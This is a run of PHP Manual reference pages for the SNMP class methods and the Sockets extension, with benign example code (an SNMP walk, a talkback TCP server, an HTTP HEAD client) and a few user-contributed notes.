SNMP::getError
SNMP


Get last error message

SNMP::getErrno
SNMP::getnext
SNMP
PHP Manual

SNMP::getError

(PHP 5 >= 5.4.0)

SNMP::getError — Get last error message

Description

string SNMP::getError ( void )

Returns string with error from last SNMP request.

Return Values

String describing error from last SNMP request.

Examples

Example #1 SNMP::getError() example

<?php
$session = new SNMP(SNMP::VERSION_2c, '127.0.0.1', 'boguscommunity');
var_dump(@$session->get('.1.3.6.1.2.1.1.1.0'));
var_dump($session->getError());
?>

The above example will output:

bool(false)
string(26) "No response from 127.0.0.1"

See Also

  • SNMP::getErrno() - Get last error code

User Contributed Notes

There are no user contributed notes for this page.
SNMP::getErrno
SNMP::getnext
SNMP


Fetch an SNMP object which follows the given object id

SNMP::getError
SNMP::set
SNMP
PHP Manual

SNMP::getnext

(PHP 5 >= 5.4.0)

SNMP::getnext — Fetch an SNMP object which follows the given object id

Description

mixed SNMP::getnext ( mixed $object_id )

Fetch an SNMP object that follows specified object_id.

Parameters

If object_id is a string, then SNMP::getnext() will return SNMP object as string. If object_id is a array, all requested SNMP objects will be returned as associative array of the SNMP object ids and their values.

object_id

The SNMP object (OID) or objects

Return Values

Returns SNMP objects requested as string or array depending on object_id type or FALSE on error.

Errors/Exceptions

This method do not throw any exceptions by default. To enable throwing an SNMPException exception when some of library errors occure user should set exceptions_enabled SNMP class parameter to corresponding value. See SNMP::$exceptions_enabled explanation for more details.

Examples

Example #1 Single SNMP object

Single SNMP object may be requested in two ways: as string resulting string return value or as single-element array with associative array as output.

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $nsysdescr = $session->getnext("sysDescr.0");
  echo "$nsysdescr\n";
  $nsysdescr = $session->getnext(array("sysDescr.0"));
  print_r($nsysdescr);
?>

The above example will output something similar to:

OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
Array
(
    [SNMPv2-MIB::sysObjectID.0] => OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
)

Example #2 Miltiple SNMP objects

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $results = $session->getnext(array("sysDescr.0", "sysName.0"));
  print_r($results);
  $session->close();
?>

The above example will output something similar to:

Array
(
    [SNMPv2-MIB::sysObjectID.0] => OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
    [SNMPv2-MIB::sysLocation.0] => STRING: Nowhere
)

See Also

  • SNMP::getErrno() - Get last error code
  • SNMP::getError() - Get last error message

User Contributed Notes

There are no user contributed notes for this page.
SNMP::getError
SNMP::set
SNMP


Set the value of an SNMP object

SNMP::getnext
SNMP::setSecurity
SNMP
PHP Manual

SNMP::set

(PHP 5 >= 5.4.0)

SNMP::set — Set the value of an SNMP object

Description

bool SNMP::set ( mixed $object_id , mixed $type , mixed $value )

Requests remote SNMP agent setting the value of one or more SNMP objects specified by the object_id.

Parameters

If object_id is string, both type and value must be string too. If object_id is array value must be equal-sized array containing corresponding values, type may be either string (it's value will be used for all object_id-value pairs) or equal-sized array with per-OID value. When any other parameters' combinations are used, a number of E_WARNING messages may be shown with detailed description.

object_id

The SNMP object id

When count of OIDs in object_id array is greater than max_oids object property set method will have to use multiple queries to perform requested value updates. In this case type and value checks are made per-chunk so second or subsequent requests may fail due to wrong type or value for OID requested. To mark this a warning is raised when count of OIDs in object_id array is greater than max_oids.

type

The MIB defines the type of each object id. It has to be specified as a single character from the below list.

types
= The type is taken from the MIB
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the following are also valid:

types
U | unsigned int64
I | signed int64
F | float
D | double

Most of these will use the obvious corresponding ASN.1 type. 's', 'x', 'd' and 'b' are all different ways of specifying an OCTET STRING value, and the 'u' unsigned type is also used for handling Gauge32 values.

If the MIB-Files are loaded by into the MIB Tree with "snmp_read_mib" or by specifying it in the libsnmp config, '=' may be used as the type parameter for all object ids as the type can then be automatically read from the MIB.

Note that there are two ways to set a variable of the type BITS like e.g. "SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}":

  • Using type "b" and a list of bit numbers. This method is not recommended since GET query for the same OID would return e.g. 0xF8.
  • Using type "x" and a hex number but without(!) the usual "0x" prefix.

See examples section for more details.

value

The new value.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

This method do not throw any exceptions by default. To enable throwing an SNMPException exception when some of library errors occure user should set exceptions_enabled SNMP class parameter to corresponding value. See SNMP::$exceptions_enabled explanation for more details.

Examples

Example #1 Set single SNMP object id

<?php
  $session = new SNMP(SNMP::VERSION_2C, "127.0.0.1", "private");
  $session->set('SNMPv2-MIB::sysContact.0', 's', "Nobody");
?>

Example #2 Set multiple values using single SNMP::set() call

<?php
  $session = new SNMP(SNMP::VERSION_2C, "127.0.0.1", "private");
  $session->set(array('SNMPv2-MIB::sysContact.0', 'SNMPv2-MIB::sysLocation.0'), array('s', 's'), array("Nobody", "Nowhere"));
// or
  $session->set(array('SNMPv2-MIB::sysContact.0', 'SNMPv2-MIB::sysLocation.0'), 's', array("Nobody", "Nowhere"));
?>

Example #3 Using SNMP::set() for setting BITS SNMP object id

<?php
  $session = new SNMP(SNMP::VERSION_2C, "127.0.0.1", "private");
  $session->set('FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// or
  $session->set('FOO-MIB::bar.42', 'x', 'F0');
?>

See Also

  • SNMP::get() - Fetch an SNMP object

User Contributed Notes

There are no user contributed notes for this page.
SNMP::getnext
SNMP::setSecurity
SNMP


Configures security-related SNMPv3 session parameters

SNMP::set
SNMP::walk
SNMP
PHP Manual

SNMP::setSecurity

(PHP 5 >= 5.4.0)

SNMP::setSecurity — Configures security-related SNMPv3 session parameters

Description

bool SNMP::setSecurity ( string $sec_level [, string $auth_protocol = [, string $auth_passphrase = [, string $priv_protocol = [, string $priv_passphrase = [, string $contextName = [, string $contextEngineID = ]]]]]] )

setSecurity configures security-related session parameters used in SNMP protocol version 3

Parameters

sec_level

the security level (noAuthNoPriv|authNoPriv|authPriv)

auth_protocol

the authentication protocol (MD5 or SHA)

auth_passphrase

the authentication pass phrase

priv_protocol

the privacy protocol (DES or AES)

priv_passphrase

the privacy pass phrase

contextName

the context name

contextEngineID

the context EngineID

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 SNMP::setSecurity() example

<?php
  $session = new SNMP(SNMP::VERSION_3, $hostname, $rwuser, $timeout, $retries);
  $session->setSecurity('authPriv', 'MD5', $auth_pass, 'AES', $priv_pass, '', 'aeeeff');
?>

See Also

  • SNMP::__construct() - Creates SNMP instance representing session to remote SNMP agent

User Contributed Notes

There are no user contributed notes for this page.
SNMP::set
SNMP::walk
SNMP


Fetch SNMP object subtree

SNMP::setSecurity
SNMPException
SNMP
PHP Manual

SNMP::walk

(PHP 5 >= 5.4.0)

SNMP::walk — Fetch SNMP object subtree

Description

array SNMP::walk ( string $object_id [, bool $suffix_as_key = FALSE [, int $max_repetitions [, int $non_repeaters ]]] )

SNMP::walk() is used to read SNMP subtree rooted at specified object_id.

Parameters

object_id

Root of subtree to be fetched

suffix_as_key

By default full OID notation is used for keys in output array. If set to TRUE subtree prefix will be removed from keys leaving only suffix of object_id.

non_repeaters

This specifies the number of supplied variables that should not be iterated over. The default is to use this value from SNMP object.

max_repetitions

This specifies the maximum number of iterations over the repeating variables. The default is to use this value from SNMP object.

Return Values

Returns an associative array of the SNMP object ids and their values on success or FALSE on error. When a SNMP error occures SNMP::getErrno() and SNMP::getError() can be used for retrieving error number (specific to SNMP extension, see class constants) and error message respectively.

Errors/Exceptions

This method do not throw any exceptions by default. To enable throwing an SNMPException exception when some of library errors occure user should set exceptions_enabled SNMP class parameter to corresponding value. See SNMP::$exceptions_enabled explanation for more details.

Examples

Example #1 SNMP::walk() example

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $fulltree = $session->walk(".");
  print_r($fulltree);
  $session->close();
?>

The above example will output something similar to:

Array
(
    [SNMPv2-MIB::sysDescr.0] => STRING: Test server
    [SNMPv2-MIB::sysObjectID.0] => OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
    [DISMAN-EVENT-MIB::sysUpTimeInstance] => Timeticks: (1150681750) 133 days, 4:20:17.50
    [SNMPv2-MIB::sysContact.0] => STRING: Nobody
    [SNMPv2-MIB::sysName.0] => STRING: server.localdomain
    ...
)

Example #2 suffix_as_key example

suffix_as_key may be used when merging multiple SNMP subtrees into one. This example maps interface names to their type.

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $session->valueretrieval = SNMP_VALUE_PLAIN;
  $ifDescr = $session->walk(".1.3.6.1.2.1.2.2.1.2", TRUE);
  $session->valueretrieval = SNMP_VALUE_LIBRARY;
  $ifType = $session->walk(".1.3.6.1.2.1.2.2.1.3", TRUE);
  print_r($ifDescr);
  print_r($ifType);
  $result = array();
  foreach($ifDescr as $i => $n) {
    $result[$n] = $ifType[$i];
  }
  print_r($result);
?>

The above example will output something similar to:

Array
(
    [1] => igb0
    [2] => igb1
    [3] => ipfw0
    [4] => lo0
    [5] => lagg0
)
Array
(
    [1] => INTEGER: ieee8023adLag(161)
    [2] => INTEGER: ieee8023adLag(161)
    [3] => INTEGER: ethernetCsmacd(6)
    [4] => INTEGER: softwareLoopback(24)
    [5] => INTEGER: ethernetCsmacd(6)
)
Array
(
    [igb0] => INTEGER: ieee8023adLag(161)
    [igb1] => INTEGER: ieee8023adLag(161)
    [ipfw0] => INTEGER: ethernetCsmacd(6)
    [lo0] => INTEGER: softwareLoopback(24)
    [lagg0] => INTEGER: ethernetCsmacd(6)
)

See Also

  • SNMP::getErrno() - Get last error code
  • SNMP::getError() - Get last error message

User Contributed Notes

There are no user contributed notes for this page.
SNMP::setSecurity
SNMPException
SNMP


The SNMPException class

(No version information available, might only be in SVN)

Introduction

Represents an error raised by SNMP. You should not throw a SNMPException from your own code. See Exceptions for more information about Exceptions in PHP.

Class synopsis

SNMPException extends RuntimeException {
/* Properties */
protected string $message ;
protected string $code ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

Properties

message

Textual error message. Exception::getMessage() to access it.

code

SNMPlibrary error code. Use Exception::getCode() to access it.

User Contributed Notes

There are no user contributed notes for this page.
SNMP::walk
Sockets
SNMP


Sockets

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Socket Errors
  • Socket Functions
    • socket_accept — Accepts a connection on a socket
    • socket_bind — Binds a name to a socket
    • socket_clear_error — Clears the error on the socket or the last error code
    • socket_close — Closes a socket resource
    • socket_connect — Initiates a connection on a socket
    • socket_create_listen — Opens a socket on port to accept connections
    • socket_create_pair — Creates a pair of indistinguishable sockets and stores them in an array
    • socket_create — Create a socket (endpoint for communication)
    • socket_get_option — Gets socket options for the socket
    • socket_getpeername — Queries the remote side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type
    • socket_getsockname — Queries the local side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type
    • socket_last_error — Returns the last error on the socket
    • socket_listen — Listens for a connection on a socket
    • socket_read — Reads a maximum of length bytes from a socket
    • socket_recv — Receives data from a connected socket
    • socket_recvfrom — Receives data from a socket whether or not it is connection-oriented
    • socket_select — Runs the select() system call on the given arrays of sockets with a specified timeout
    • socket_send — Sends data to a connected socket
    • socket_sendto — Sends a message to a socket, whether it is connected or not
    • socket_set_block — Sets blocking mode on a socket resource
    • socket_set_nonblock — Sets nonblocking mode for file descriptor fd
    • socket_set_option — Sets socket options for the socket
    • socket_shutdown — Shuts down a socket for receiving, sending, or both
    • socket_strerror — Return a string describing a socket error
    • socket_write — Write to a socket

User Contributed Notes

There are no user contributed notes for this page.
SNMPException
Introduction
Other Services


Introduction

The socket extension implements a low-level interface to the socket communication functions based on the popular BSD sockets, providing the possibility to act as a socket server as well as a client.

For a more generic client-side socket interface, see
stream_socket_client(),
stream_socket_server(),
fsockopen(), and
pfsockopen().

When using these functions, it is important to remember that while many of them have identical names to their C counterparts, they often have different declarations. Please be sure to read the descriptions to avoid confusion.

Those unfamiliar with socket programming can find a lot of useful material in the appropriate Unix man pages, and there is a great deal of tutorial information on socket programming in C on the web, much of which can be applied, with slight modifications, to socket programming in PHP. The » Unix Socket FAQ might be a good start.

User Contributed Notes

There are no user contributed notes for this page.
Sockets
Installing/Configuring
Sockets


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Sockets


Installation

The socket functions described here are part of an extension to PHP which must be enabled at compile time by giving the --enable-sockets option to configure.

Note: IPv6 Support was added in PHP 5.0.0.

User Contributed Notes

Dirk 04-Jan-2009 12:32
Note that under windows you just need to uncomment the line
;extension=php_sockets.dll
so that it looks like
extension=php_sockets.dll
(without the ; at the start)
in your php.ini (in the directory c:\program files\PHP\php.ini)

If that line isn't in there, you probably have a custom php install. In that case you need to add the line to php.ini and download the sockets dll.

In order to get the php_sockets.dll:
- Download the regular php zip file from http://www.php.net/downloads.php
- Find the dll in the ext directory
- Extract the php_sockets.dll to the ext directory of your install
(probably at c:\program files\PHP\ext)
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

socket_accept(),
socket_create_listen() and
socket_create() return socket resources.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

AF_UNIX (integer)
AF_INET (integer)
AF_INET6 (integer)
Only available if compiled with IPv6 support.
SOCK_STREAM (integer)
SOCK_DGRAM (integer)
SOCK_RAW (integer)
SOCK_SEQPACKET (integer)
SOCK_RDM (integer)
MSG_OOB (integer)
MSG_WAITALL (integer)
MSG_PEEK (integer)
MSG_DONTROUTE (integer)
MSG_EOR (integer)
Not available on Windows platforms.
MSG_EOF (integer)
Not available on Windows platforms.
SO_DEBUG (integer)
SO_REUSEADDR (integer)
SO_KEEPALIVE (integer)
SO_DONTROUTE (integer)
SO_LINGER (integer)
SO_BROADCAST (integer)
SO_OOBINLINE (integer)
SO_SNDBUF (integer)
SO_RCVBUF (integer)
SO_SNDLOWAT (integer)
SO_RCVLOWAT (integer)
SO_SNDTIMEO (integer)
SO_RCVTIMEO (integer)
SO_TYPE (integer)
SO_ERROR (integer)
TCP_NODELAY (integer)
Used to disable Nagle TCP algorithm. Added in PHP 5.2.7.
SOL_SOCKET (integer)
PHP_NORMAL_READ (integer)
PHP_BINARY_READ (integer)
SOL_TCP (integer)
SOL_UDP (integer)

The following constants are only defined under Windows.

SOCKET_EINTR (integer)
SOCKET_EBADF (integer)
SOCKET_EACCES (integer)
SOCKET_EFAULT (integer)
SOCKET_EINVAL (integer)
SOCKET_EMFILE (integer)
SOCKET_EWOULDBLOCK (integer)
SOCKET_EINPROGRESS (integer)
SOCKET_EALREADY (integer)
SOCKET_ENOTSOCK (integer)
SOCKET_EDESTADDRREQ (integer)
SOCKET_EMSGSIZE (integer)
SOCKET_EPROTOTYPE (integer)
SOCKET_ENOPROTOOPT (integer)
SOCKET_EPROTONOSUPPORT (integer)
SOCKET_ESOCKTNOSUPPORT (integer)
SOCKET_EOPNOTSUPP (integer)
SOCKET_EPFNOSUPPORT (integer)
SOCKET_EAFNOSUPPORT (integer)
SOCKET_EADDRINUSE (integer)
SOCKET_EADDRNOTAVAIL (integer)
SOCKET_ENETDOWN (integer)
SOCKET_ENETUNREACH (integer)
SOCKET_ENETRESET (integer)
SOCKET_ECONNABORTED (integer)
SOCKET_ECONNRESET (integer)
SOCKET_ENOBUFS (integer)
SOCKET_EISCONN (integer)
SOCKET_ENOTCONN (integer)
SOCKET_ESHUTDOWN (integer)
SOCKET_ETOOMYREFS (integer)
SOCKET_ETIMEDOUT (integer)
SOCKET_ECONNREFUSED (integer)
SOCKET_ELOOP (integer)
SOCKET_ENAMETOOLONG (integer)
SOCKET_EHOSTDOWN (integer)
SOCKET_EHOSTUNREACH (integer)
SOCKET_ENOTEMPTY (integer)
SOCKET_EPROCLIM (integer)
SOCKET_EUSERS (integer)
SOCKET_EDUOT (integer)
SOCKET_ESTALE (integer)
SOCKET_EREMOTE (integer)
SOCKET_EDISCON (integer)
SOCKET_SYSNOTREADY (integer)
SOCKET_VERNOTSUPPORTED (integer)
SOCKET_NOTINITIALISED (integer)
SOCKET_HOST_NOT_FOUND (integer)
SOCKET_TRY_AGAIN (integer)
SOCKET_NO_RECOVERY (integer)
SOCKET_NO_DATA (integer)
SOCKET_NO_ADDRESS (integer)

The following constants are only available on UNIX-like platforms. Each constant is only defined if their equal is available on the platform.

SOCKET_EPERM (integer)
Operation not permitted.
SOCKET_ENOENT (integer)
No such file or directory.
SOCKET_EINTR (integer)
Interrupted system call.
SOCKET_EIO (integer)
I/O error.
SOCKET_ENXIO (integer)
No such device or address.
SOCKET_E2BIG (integer)
Arg list too long.
SOCKET_EBADF (integer)
Bad file number.
SOCKET_EAGAIN (integer)
Try again.
SOCKET_ENOMEM (integer)
Out of memory.
SOCKET_EACCES (integer)
Permission denied.
SOCKET_EFAULT (integer)
Bad address.
SOCKET_ENOTBLK (integer)
Block device required.
SOCKET_EBUSY (integer)
Device or resource busy.
SOCKET_EEXIST (integer)
File exists.
SOCKET_EXDEV (integer)
Cross-device link.
SOCKET_ENODEV (integer)
No such device.
SOCKET_ENOTDIR (integer)
Not a directory.
SOCKET_EISDIR (integer)
Is a directory.
SOCKET_EINVAL (integer)
Invalid argument.
SOCKET_ENFILE (integer)
File table overflow.
SOCKET_EMFILE (integer)
Too many open files.
SOCKET_ENOTTY (integer)
Not a typewriter.
SOCKET_ENOSPC (integer)
No space left on device.
SOCKET_ESPIPE (integer)
Illegal seek.
SOCKET_EROFS (integer)
Read-only file system.
SOCKET_EMLINK (integer)
Too many links.
SOCKET_EPIPE (integer)
Broken pipe.
SOCKET_ENAMETOOLONG (integer)
File name too long.
SOCKET_ENOLCK (integer)
No record locks available.
SOCKET_ENOSYS (integer)
Function not implemented.
SOCKET_ENOTEMPTY (integer)
Directory not empty.
SOCKET_ELOOP (integer)
Too many symbolic links encountered.
SOCKET_EWOULDBLOCK (integer)
Operation would block.
SOCKET_ENOMSG (integer)
No message of desired type.
SOCKET_EIDRM (integer)
Identifier removed.
SOCKET_ECHRNG (integer)
Channel number out of range.
SOCKET_EL2NSYNC (integer)
Level 2 not synchronized.
SOCKET_EL3HLT (integer)
Level 3 halted.
SOCKET_EL3RST (integer)
Level 3 reset.
SOCKET_ELNRNG (integer)
Link number out of range.
SOCKET_EUNATCH (integer)
Protocol driver not attached.
SOCKET_ENOCSI (integer)
No CSI structure available.
SOCKET_EL2HLT (integer)
Level 2 halted.
SOCKET_EBADE (integer)
Invalid exchange.
SOCKET_EBADR (integer)
Invalid request descriptor.
SOCKET_EXFULL (integer)
Exchange full.
SOCKET_ENOANO (integer)
No anode.
SOCKET_EBADRQC (integer)
Invalid request code.
SOCKET_EBADSLT (integer)
Invalid slot.
SOCKET_ENOSTR (integer)
Device not a stream.
SOCKET_ENODATA (integer)
No data available.
SOCKET_ETIME (integer)
Timer expired.
SOCKET_ENOSR (integer)
Out of streams resources.
SOCKET_ENONET (integer)
Machine is not on the network.
SOCKET_EREMOTE (integer)
Object is remote.
SOCKET_ENOLINK (integer)
Link has been severed.
SOCKET_EADV (integer)
Advertise error.
SOCKET_ESRMNT (integer)
Srmount error.
SOCKET_ECOMM (integer)
Communication error on send.
SOCKET_EPROTO (integer)
Protocol error.
SOCKET_EMULTIHOP (integer)
Multihop attempted.
SOCKET_EBADMSG (integer)
Not a data message.
SOCKET_ENOTUNIQ (integer)
Name not unique on network.
SOCKET_EBADFD (integer)
File descriptor in bad state.
SOCKET_EREMCHG (integer)
Remote address changed.
SOCKET_ERESTART (integer)
Interrupted system call should be restarted.
SOCKET_ESTRPIPE (integer)
Streams pipe error.
SOCKET_EUSERS (integer)
Too many users.
SOCKET_ENOTSOCK (integer)
Socket operation on non-socket.
SOCKET_EDESTADDRREQ (integer)
Destination address required.
SOCKET_EMSGSIZE (integer)
Message too long.
SOCKET_EPROTOTYPE (integer)
Protocol wrong type for socket.
SOCKET_EPROTOOPT (integer)
Protocol not available.
SOCKET_EPROTONOSUPPORT (integer)
Protocol not supported.
SOCKET_ESOCKTNOSUPPORT (integer)
Socket type not supported.
SOCKET_EOPNOTSUPP (integer)
Operation not supported on transport endpoint.
SOCKET_EPFNOSUPPORT (integer)
Protocol family not supported.
SOCKET_EAFNOSUPPORT (integer)
Address family not supported by protocol.
SOCKET_ADDRINUSE (integer)
Address already in use.
SOCKET_EADDRNOTAVAIL (integer)
Cannot assign requested address.
SOCKET_ENETDOWN (integer)
Network is down.
SOCKET_ENETUNREACH (integer)
Network is unreachable.
SOCKET_ENETRESET (integer)
Network dropped connection because of reset.
SOCKET_ECONNABORTED (integer)
Software caused connection abort.
SOCKET_ECONNRESET (integer)
Connection reset by peer.
SOCKET_ENOBUFS (integer)
No buffer space available.
SOCKET_EISCONN (integer)
Transport endpoint is already connected.
SOCKET_ENOTCONN (integer)
Transport endpoint is not connected.
SOCKET_ESHUTDOWN (integer)
Cannot send after transport endpoint shutdown.
SOCKET_ETOOMANYREFS (integer)
Too many references: cannot splice.
SOCKET_ETIMEDOUT (integer)
Connection timed out.
SOCKET_ECONNREFUSED (integer)
Connection refused.
SOCKET_EHOSTDOWN (integer)
Host is down.
SOCKET_EHOSTUNREACH (integer)
No route to host.
SOCKET_EALREADY (integer)
Operation already in progress.
SOCKET_EINPROGRESS (integer)
Operation now in progress.
SOCKET_EISNAM (integer)
Is a named type file.
SOCKET_EREMOTEIO (integer)
Remote I/O error.
SOCKET_EDQUOT (integer)
Quota exceeded.
SOCKET_ENOMEDIUM (integer)
No medium found.
SOCKET_EMEDIUMTYPE (integer)
Wrong medium type.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Sockets


Examples

Example #1 Socket example: Simple TCP/IP server

This example shows a simple talkback server. Change the address and port variables to suit your setup and execute. You may then connect to the server with a command similar to: telnet 192.168.1.53 10000 (where the address and port match your setup). Anything you type will then be output on the server side, and echoed back to you. To disconnect, enter 'quit'.

#!/usr/local/bin/php -q
<?php
error_reporting(E_ALL);

/* Allow the script to hang around waiting for connections. */
set_time_limit(0);

/* Turn on implicit output flushing so we see what we're getting
 * as it comes in. */
ob_implicit_flush();

$address = '192.168.1.53';
$port = 10000;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
}

if (socket_bind($sock, $address, $port) === false) {
    echo "socket_bind() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}

if (socket_listen($sock, 5) === false) {
    echo "socket_listen() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}

do {
    if (($msgsock = socket_accept($sock)) === false) {
        echo "socket_accept() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
        break;
    }
    /* Send instructions. */
    $msg = "\nWelcome to the PHP Test Server. \n" .
        "To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
    socket_write($msgsock, $msg, strlen($msg));

    do {
        if (false === ($buf = socket_read($msgsock, 2048, PHP_NORMAL_READ))) {
            echo "socket_read() failed: reason: " . socket_strerror(socket_last_error($msgsock)) . "\n";
            break 2;
        }
        if (!$buf = trim($buf)) {
            continue;
        }
        if ($buf == 'quit') {
            break;
        }
        if ($buf == 'shutdown') {
            socket_close($msgsock);
            break 2;
        }
        $talkback = "PHP: You said '$buf'.\n";
        socket_write($msgsock, $talkback, strlen($talkback));
        echo "$buf\n";
    } while (true);
    socket_close($msgsock);
} while (true);

socket_close($sock);
?>

Example #2 Socket example: Simple TCP/IP client

This example shows a simple, one-shot HTTP client. It simply connects to a page, submits a HEAD request, echoes the reply, and exits.

<?php
error_reporting(E_ALL);

echo "<h2>TCP/IP Connection</h2>\n";

/* Get the port for the WWW service. */
$service_port = getservbyname('www', 'tcp');

/* Get the IP address for the target host. */
$address = gethostbyname('www.example.com');

/* Create a TCP/IP socket. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
} else {
    echo "OK.\n";
}

echo "Attempting to connect to '$address' on port '$service_port'...";
$result = socket_connect($socket, $address, $service_port);
if ($result === false) {
    echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
} else {
    echo "OK.\n";
}

$in = "HEAD / HTTP/1.1\r\n";
$in .= "Host: www.example.com\r\n";
$in .= "Connection: Close\r\n\r\n";
$out = '';

echo "Sending HTTP HEAD request...";
socket_write($socket, $in, strlen($in));
echo "OK.\n";

echo "Reading response:\n\n";
while ($out = socket_read($socket, 2048)) {
    echo $out;
}

echo "Closing socket...";
socket_close($socket);
echo "OK.\n\n";
?>

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Socket Errors
Sockets


Socket Errors

The socket extension was written to provide a usable interface to the powerful BSD sockets. Care has been taken that the functions work equally well on Win32 and Unix implementations. Almost all of the sockets functions may fail under certain conditions and therefore emit an E_WARNING message describing the error. Sometimes this doesn't happen to the desire of the developer. For example the function socket_read() may suddenly emit an E_WARNING message because the connection broke unexpectedly. It's common to suppress the warning with the @-operator and catch the error code within the application with the socket_last_error() function. You may call the socket_strerror() function with this error code to retrieve a string describing the error. See their description for more information.

Note:

The E_WARNING messages generated by the socket extension are in English though the retrieved error message will appear depending on the current locale (LC_MESSAGES):

Warning - socket_bind() unable to bind address [98]: Die Adresse wird bereits verwendet

User Contributed Notes

There are no user contributed notes for this page.
Examples
Socket Functions
Sockets


Socket Functions

Table of Contents

  • socket_accept — Accepts a connection on a socket
  • socket_bind — Binds a name to a socket
  • socket_clear_error — Clears the error on the socket or the last error code
  • socket_close — Closes a socket resource
  • socket_connect — Initiates a connection on a socket
  • socket_create_listen — Opens a socket on port to accept connections
  • socket_create_pair — Creates a pair of indistinguishable sockets and stores them in an array
  • socket_create — Create a socket (endpoint for communication)
  • socket_get_option — Gets socket options for the socket
  • socket_getpeername — Queries the remote side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type
  • socket_getsockname — Queries the local side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type
  • socket_last_error — Returns the last error on the socket
  • socket_listen — Listens for a connection on a socket
  • socket_read — Reads a maximum of length bytes from a socket
  • socket_recv — Receives data from a connected socket
  • socket_recvfrom — Receives data from a socket whether or not it is connection-oriented
  • socket_select — Runs the select() system call on the given arrays of sockets with a specified timeout
  • socket_send — Sends data to a connected socket
  • socket_sendto — Sends a message to a socket, whether it is connected or not
  • socket_set_block — Sets blocking mode on a socket resource
  • socket_set_nonblock — Sets nonblocking mode for file descriptor fd
  • socket_set_option — Sets socket options for the socket
  • socket_shutdown — Shuts down a socket for receiving, sending, or both
  • socket_strerror — Return a string describing a socket error
  • socket_write — Write to a socket

User Contributed Notes

paul dot hodel at gmail dot com 10-Sep-2011 04:39
After many non-sleep nights I got the most simple multi-client server written in PHP that really works. Ctrl+C and Ctrl+V... use as command line to test it. Enjoy it.

<?php

ini_set('error_reporting', E_ALL ^ E_NOTICE);
ini_set('display_errors', 1);

// Set time limit to indefinite execution
set_time_limit (0);

// Set the ip and port we will listen on
$address = '10.203.9.67';
$port = 6901;

// Create a TCP Stream socket
$sock = socket_create(AF_INET, SOCK_STREAM, 0);

// Bind the socket to an address/port
socket_bind($sock, $address, $port) or die('Could not bind to address');

// Start listening for connections
socket_listen($sock);

// Non block socket type
socket_set_nonblock($sock);

// Loop continuously
while (true)
{
    unset($read);

    $j = 0;

    if (count($client))
    {
        foreach ($client AS $k => $v)
        {
            $read[$j] = $v;

            $j++;
        }
    }

    $client = $read;

    if ($newsock = @socket_accept($sock))
    {
        if (is_resource($newsock))
        {
            socket_write($newsock, "$j>", 2).chr(0);

            echo "New client connected $j";

            $client[$j] = $newsock;

            $j++;
        }
    }

    if (count($client))
    {
        foreach ($client AS $k => $v)
        {
            if (@socket_recv($v, $string, 1024, MSG_DONTWAIT) === 0)
            {
                unset($client[$k]);

                socket_close($v);
            }
            else
            {
                if ($string)
                {
                    echo "$k: $string\n";
                }
            }
        }
    }

    //echo ".";

    sleep(1);
}

// Close the master sockets
socket_close($sock);
?>
davidccook+php at gmail dot com 04-Aug-2008 09:25
Planning on sending integer values through as socket, I was surprised to find PHP only supports sending strings.
I came to the conclusion the only way to do it would be to create a string that would evaluate to the same byte values as the integer I wanted to send. So (after much messing about) I created a couple of functions: one to create this 'string' and one to convert a received value back to an integer.

<?php
//Converts an integer to 'byte array' (string), default to 4 'bytes' (chars)
function int2string($int, $numbytes=4)
{
   $str = "";
   for ($i=0; $i < $numbytes; $i++) {
     $str .= chr($int % 256);
     $int = $int / 256;
   }
   return $str;
}

//Converts a 'byte array' (string) to integer
function string2int($str)
{
   $numbytes = strlen($str);
   $int = 0;
   for ($i=0; $i < $numbytes; $i++) {
     $int += ord($str[$i]) * pow(2, $i * 8);
   }
   return $int;
}

//Example
echo int2string(16705, 2); // 16-bit integer converts to two bytes: 65, 65; which in turn is 'AA'
echo string2int('AA'); //back the other way
?>
